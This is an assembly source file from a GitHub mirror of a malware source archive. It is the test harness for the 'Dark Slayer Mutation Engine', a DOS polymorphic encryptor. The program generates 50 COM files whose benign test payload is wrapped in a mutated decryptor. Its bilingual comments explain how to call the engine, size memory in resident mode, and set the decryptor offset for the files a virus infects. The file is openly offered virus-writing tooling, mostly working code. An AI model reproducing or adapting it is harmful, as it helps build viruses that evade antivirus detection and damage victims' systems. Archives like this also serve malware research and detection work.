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https://github.com/vxunderground/MalwareSourceCode.git
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vxunderground
119 lines
4.1 KiB
NASM
119 lines
4.1 KiB
NASM
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; Dark Slayer Mutation Engine v1.0
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; Written by Dark Slayer in Taiwan
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DSME_GEN SEGMENT
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ASSUME CS:DSME_GEN,DS:DSME_GEN
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ORG 0100h
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MSG_ADDR EQU OFFSET MSG-OFFSET PROC_START-0005h
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EXTRN DSME:NEAR,DSME_END:NEAR
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; 以下程式，除了要注意的地方有注解，其它部份自己研究
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; you may get some information as following remarks
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;
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START:
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MOV AH,09h
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MOV DX,OFFSET DG_MSG
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INT 21h
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MOV AX,OFFSET DSME_END+000Fh ; 本程式 + DSME+000Fh 之後的位址
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; 若減 0100h 則成為本程式 + DSME 的長度
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; This program + DSME+000Fh address
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; Minus 0100h = this program + DSME
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; lengh
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MOV CL,04h
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SHR AX,CL
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MOV BX,CS
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ADD BX,AX
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MOV ES,BX ; 設 ES 用來放解碼程式和被編碼資料
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; 解碼程式最大為 1024 Bytes
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; 若用在常駐程式時，則須注意分配的記憶體大小
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; Setting ES to put decryptor and encrypted
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; code.
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; Decryptor maxium is 1024 bytes
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; You should notice the allocation of memory
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; size when you use DSME in resident mode.
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MOV CX,50
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DG_L0:
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PUSH CX
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MOV AH,3Ch
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XOR CX,CX
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MOV DX,OFFSET FILE_NAME
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INT 21h
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XCHG BX,AX
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MOV BP,0100h ; 解碼程式偏移位址
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; 用來寫毒時則依欲感染檔案之大小而設
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; Offset where the decryption routine
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; will be executed
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; It depends on which kinds of files
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; COM or EXE?
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MOV CX,OFFSET PROC_END-OFFSET PROC_START ; 被編碼程式的長度
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; encrypted code
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; lengh
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MOV DX,OFFSET PROC_START ; DS:DX -> 要被編碼的程式位址
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; DS:DX -> Encrypted code's
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; address
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PUSH BX ; 保存 File handle
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; keep File handle
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MOV BL,00h ; COM 模式
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; COM mode
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CALL DSME
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POP BX
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MOV AH,40h ; 返回時 DS:DX = 解碼程式 + 被編碼程式的位址
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INT 21h ; CX = 解碼程式 + 被編碼程式的長度，其它暫存器不變
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; When returning from DSME,
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; DS:DX = decryptor + encrypted code's address
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; CX = lengh of decryptor + encrypted code
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; Other registers won't be changed.
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MOV AH,3Eh
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INT 21h
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PUSH CS
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POP DS ; 將 DS 設回來
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; restore DS
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MOV BX,OFFSET FILE_NUM
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INC BYTE PTR DS:[BX+0001h]
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CMP BYTE PTR DS:[BX+0001h],'9'
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JBE DG_L1
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INC BYTE PTR DS:[BX]
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MOV BYTE PTR DS:[BX+0001h],'0'
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DG_L1:
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POP CX
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LOOP DG_L0
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MOV AH,4Ch
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INT 21h
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FILE_NAME DB '000000'
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FILE_NUM DB '00.COM',00h
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DG_MSG DB 'Generates 50 DSME encrypted test files.',0Dh,0Ah,'$'
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PROC_START:
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MOV AH,09h
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CALL $+0003h
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POP DX
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ADD DX,MSG_ADDR
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INT 21h
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INT 20h
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MSG DB 'this is <DSME> test file.$'
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PROC_END:
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DSME_GEN ENDS
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END START
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